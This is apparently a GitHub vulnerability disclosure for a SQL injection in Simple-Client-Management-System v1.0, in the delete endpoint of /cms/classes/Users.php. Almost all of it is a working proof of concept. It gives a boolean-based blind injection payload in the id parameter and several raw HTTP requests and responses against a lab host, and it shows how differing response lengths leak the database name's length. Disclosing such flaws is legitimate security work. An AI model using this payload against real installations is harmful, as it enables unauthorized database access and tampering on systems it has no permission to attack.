debug601 Update SQLi-8.md History

1 contributor

39 lines (27 sloc) | 1.37 KB

Simple-Client-Management-System v1.0 by oretnom23 has SQL injection

Author: k0xx

vendors: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html

Vulnerability File: /cms/classes/Users.php?f=delete

Vulnerability location: /cms/classes/Users.php?f=delete,id

[+] Payload: id=11' and length(database()) =6 --+ // Leak place ---> id

Current database name: cms_db,length is 6

```
POST /cms/classes/Users.php?f=delete HTTP/1.1
Host: 192.168.1.19
Content-Length: 36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
```

```
Referer: http://192.168.1.19/cms/admin/?page=user/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5u3dthmlo3ajo2g7k8pfvb4g8h
Connection: close

id=11' and length(database()) =6 --+ // Leak place ---> id
```

When length (database ()) = 6, Content-Length: 19

```
POST /cms/classes/Users.php?f=delete HTTP/1.1
Host: 192.168.1.19
Content-Length: 36
Accept: application/json, text/javascript, */*;
q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type:
application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer:
http://192.168.1.19/cms/admin/?page=user/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5u3dthmlo3ajo2g7k8pfvb4g8h
Connection: close

id=11' and length(database()) =6 --+
```

```
HTTP/1.1 200 OK
Date: Sat, 23 Apr 2022 06:45:18 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 19
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"failed"}
```

When length (database ()) = 7, Content-Length: 168

Raw Params Headers Hex

```
POST /cms/classes/Users.php?f=delete HTTP/1.1
Host: 192.168.1.19
Content-Length: 36
Accept: application/json, text/javascript, */*;
q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type:
application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer:
http://192.168.1.19/cms/admin/?page=user/list
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5u3dthmlo3ajo2g7k8pfvb4g8h
Connection: close

id=11' and length(database()) =7 --+
```

Raw Headers Hex

```
HTTP/1.1 200 OK
Date: Sat, 23 Apr 2022 06:48:37 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 168
Connection: close
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>:  Trying to access array offset on value of type null in
<b>C:\xampp\htdocs\cms\classes\Users.php</b> on line <b>130</b><br />
{"status":"failed"}
```